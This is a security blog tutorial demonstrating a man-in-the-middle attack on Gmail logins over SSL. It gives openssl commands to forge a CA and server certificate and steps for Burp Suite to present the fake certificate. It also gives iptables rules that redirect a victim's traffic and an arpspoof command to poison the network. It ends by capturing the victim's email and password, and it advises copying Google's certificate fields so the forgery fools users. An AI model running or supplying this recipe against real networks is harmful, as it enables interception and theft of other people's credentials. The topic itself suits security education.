When I first met the padlocks in the lower right corner on my browser, I’ve never really believed in them, even seeing it on several sites considered reliable. João Lins, my colleague at Tempest Security Intelligence, wrote something about it on the company blog.
Over the years, I’ve also been seeing many ways to deceive naive users and today I’ll show you a well known technique called Man-In-The-Middle (which use the ARP spoof concepts from the last post) over SSL.
There are more sophisticated (and simple) methods and maybe I’ll talk about them in the future. The main idea is to show you something being built, step-by-step. So here we go:
- OpenSSL to create some fake certificates.
- The Burp Suite, to help us sitting a proxy server between the Victim and the Internet.
- IPTables to redirect the traffic.
- The arpspoof from DSniff to, guess what, spoof the traffic.
The victims will be the users requests to Gmail . They’ll be intercepted and forged by Burp Suit which sends the request to the Web site, handles any redirect to an SSL page and returns an exact duplicate to the user, without the encryption.
Generating X.509 Certificates
The easiest way to create X.509 certificates on Linux is the openssl command and the auxiliary tools.
First, I’ve created a 2048-bit private key to use when creating our CA (Certificate Authority).:
wolowitz:Temp gfm$ openssl genrsa -des3 -out CA.key 2040
Generating RSA private key, 2040 bit long modulus
..........................................................................................................+++
..............................................................................................................................................+++
e is 65537 (0x10001)
Enter pass phrase for CA.key:
Verifying - Enter pass phrase for CA.key:
Next, I’ve created a master certificate based on this key, to use when signing other certificates:
wolowitz:Temp gfm$ openssl req -new -key CA.key -x509 -days 1095 -out CA.crt
Enter pass phrase for CA.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:BR
State or Province Name (full name) [Some-State]:Pernambuco
Locality Name (eg, city) []:Recife
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Virtucon
Organizational Unit Name (eg, section) []:Underground Lair
Common Name (eg, YOUR name) []:Doctor Evil
Email Address []:
Note: I am filling the fields as I want. If you actually wants to trick users who access the GMail, I suggest you to copy the fields as shown below:
Now you have an almost perfect GMail’s certificate. Why almost? Homework: Try to identify the difference between them.
The next step is generating a private RSA key of the server certificate:
wolowitz:Temp gfm$ openssl genrsa -des3 -out certserve.key
Generating RSA private key, 512 bit long modulus
.......++++++++++++
.................++++++++++++
e is 65537 (0x10001)
Enter pass phrase for certserve.key:
Verifying - Enter pass phrase for certserve.key:
A CSR or Certificate Signing request is a block of encrypted text that is generated on the server that the certificate will be used on.
wolowitz:Temp gfm$ openssl req -new -key certserve.key -out certserve.csr
Enter pass phrase for certserve.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:BR
State or Province Name (full name) [Some-State]:PE
Locality Name (eg, city) []:Recife
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Corleone Family
Organizational Unit Name (eg, section) []:Gambling
Common Name (eg, YOUR name) []:Michael Corleone
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
When prompted for the x509 Common Name attribute information, enter the fully qualified hostname the certificate will be used on.
So, to take advantage of SSL encryption we need to generate and sign the server certificate using the root CA (self signed):
wolowitz:Temp gfm$ openssl x509 -req -days 365 -in certserve.csr -CA CA.crt -CAkey CA.key -CAcreateserial -out certserve.crt
Signature ok
subject=/C=BR/ST=PE/L=Recife/O=Corleone Family/OU=Gambling/CN=Michael Corleone
Getting CA Private Key
Enter pass phrase for CA.key
A key can optionally be self-signed to create a temporary testing certificate until the signed certificate is created by the CA.
Finally, extract the PKCS12 file of server certificate:
wolowitz:Temp gfm$ openssl pkcs12 -export -in certserve.crt -inkey certserve.key -out certserve.p12
-name certificado -CAfile CA.crt -caname google.inc -chain
Enter pass phrase for certserve.key:
Enter Export Password:
Verifying - Enter Export Password:bur
Configure the Proxy server to offer the fake certificate to Victim
1. Go to Proxy –> Options

2. Use a custom certificate (PKCS12):

3. Uncheck listen on loopback interface only option:

At this time, Burp will intercept the user’s access to GMail and deliver the fake certificate previously generated.
Traffic redirecting
First of all, we need to enable the IP forward. If not, it could cause a DoS on the victim.
wolowitz:Temp gfm$ echo 1 > /proc/sys/net/ipv4/ip_forward
Now you need to redirect the desired traffic to Burp:
wolowitz:Temp gfm$ sudo iptables -A PREROUTING -t nat -p tcp -s <victim> -d google.com -m multiport --dport 80,443 -j DNAT --to <attacker>:<burpport>
wolowitz:Temp gfm$ sudo iptables -A PREROUTING -t nat -p tcp -s <victim> -d gmail.com -m multiport --dport 80,443 -j DNAT --to <attacker>:<burpport>
wolowitz:Temp gfm$ sudo iptables -I INPUT 1 -p tcp -s <victim> --dport <burpport> -j ACCEPT
Finally, the ARPspoofing
wolowitz:Temp gfm$ sudo arpspoof -t <victim> <gateway>
User’s Access

When the victim access the GMail, he’ll receive the traditional warning message about untrusted certificates:

In general, the users tends to click on “I Understand the Risks” with no guarantee about the site’s identity. Even those who check the identity, fail to trust in the fields below:

Note that Common Name, Organization, etc., are the same fields that I have chosen when I was generating the X.509 certificates. So, one more time, if the attacker wants to be more stealth as possible, he needs to copy this fields exactly as Google fill.
At this time, note that the Burp intercepted traffic and could recover the victim’s password. Look for the fields “Email” and “Password”.

If the victim miraculously check out the fingerprints, he can detect that something strange happens. He may also notice something wrong because the certificate should not be invalid. In this case, the attack would have failed.